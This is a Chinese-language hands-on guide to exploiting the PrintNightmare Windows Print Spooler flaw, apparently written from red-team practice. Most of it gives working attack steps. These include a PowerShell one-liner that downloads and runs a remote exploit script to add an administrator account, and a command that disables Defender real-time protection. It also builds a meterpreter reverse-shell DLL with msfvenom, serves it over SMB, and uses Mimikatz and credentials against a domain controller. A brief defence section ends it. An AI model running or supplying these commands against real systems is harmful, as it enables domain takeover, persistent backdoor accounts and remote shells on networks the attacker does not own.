从本地提权到域控沦陷:CVE-2021-1675 PrintNightmare漏洞武器化实战剖析
1. PrintNightmare漏洞背景与原理剖析
Windows打印服务(Print Spooler)是操作系统中负责管理打印任务的核心组件,自Windows NT时代就存在于系统中。2021年曝光的CVE-2021-1675漏洞之所以被称为"PrintNightmare",是因为它允许攻击者通过远程代码执行(RCE)完全控制系统。这个漏洞的本质在于驱动程序安装验证机制的缺失——攻击者可以绕过安全校验,强制加载恶意驱动程序。
实际测试中发现,当攻击者调用RpcAddPrinterDriverExAPI时,通过特定参数组合(如设置APD_INSTALL_WARNED_DRIVER标志)可以跳过数字签名验证。更危险的是,利用SMB协议共享恶意DLL时,系统会自动以SYSTEM权限加载该文件。我在复现过程中注意到,即使目标系统启用了UAC保护,这个漏洞依然有效。
2. 本地提权实战操作指南
2.1 环境准备与检测
首先需要确认目标系统的打印服务状态。在CMD中执行:
sc query spooler如果服务未运行,可通过以下命令启动:
net start spooler推荐使用PowerShell脚本进行快速检测:
$service = Get-Service -Name Spooler if($service.Status -ne 'Running') { Write-Warning "Print Spooler未运行!" } else { Write-Host "[+] 存在漏洞的服务正在运行" -ForegroundColor Green }2.2 PowerShell自动化利用
最流行的利用脚本是Caleb Stewart开发的版本:
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/calebstewart/CVE-2021-1675/main/CVE-2021-1675.ps1') Invoke-Nightmare -DriverName "Xerox" -NewUser "hacker" -NewPassword "P@ssw0rd!"这个脚本会自动完成以下操作:
- 通过RPC连接打印服务
- 上传恶意驱动程序(默认使用内存中的payload)
- 创建具有管理员权限的新用户
我在Windows 10 20H2上测试时发现,如果目标启用了Windows Defender,需要先禁用实时防护:
Set-MpPreference -DisableRealtimeMonitoring $true3. 横向移动与域控攻陷
3.1 通过SMB投递恶意载荷
当获得域成员权限后,可以针对域控制器发起攻击。首先准备一个反向Shell的DLL:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f dll -o payload.dll然后搭建SMB共享(建议使用Impacket工具包):
impacket-smbserver share /tmp -smb2support3.2 利用Mimikatz模块攻击
Gentil Kiwi开发的Mimikatz特别适合域环境攻击:
mimikatz# misc::printnightmare /server:dc01 /library:\\192.168.1.100\share\evil.dll这个命令会:
- 通过RPC连接域控的打印服务
- 强制加载共享目录中的DLL
- 在SYSTEM上下文执行代码
实测中发现,如果遇到RPC_S_ACCESS_DENIED错误,可以尝试添加域管理员凭据:
$cred = Get-Credential Invoke-Nightmare -RemoteHost "dc01" -DriverPath "\\192.168.1.100\share\payload.dll" -Credential $cred4. 防御措施与缓解方案
4.1 紧急处置方案
最直接的缓解方法是禁用打印服务:
Stop-Service -Name Spooler -Force Set-Service -Name Spooler -StartupType Disabled对于域环境,可以通过组策略统一配置:
计算机配置 > 管理模板 > 打印机 > 不允许安装使用内核模式驱动程序的打印机4.2 长期防护建议
微软官方补丁应优先安装,但需要注意:
- KB5004945(2021年7月补丁)最初存在绕过问题
- 必须同时安装KB5005565和KB5005566才能完全修复
企业环境还应实施:
- 网络分段,限制SMB协议的访问范围
- 启用LSA保护防止凭据转储
- 部署EDR解决方案监控可疑的打印服务调用
在多次红队演练中,我们发现及时更新系统补丁的组织能够有效阻断这类攻击。而对于必须使用打印服务的企业,建议部署专用的打印服务器,并将其与核心域控隔离。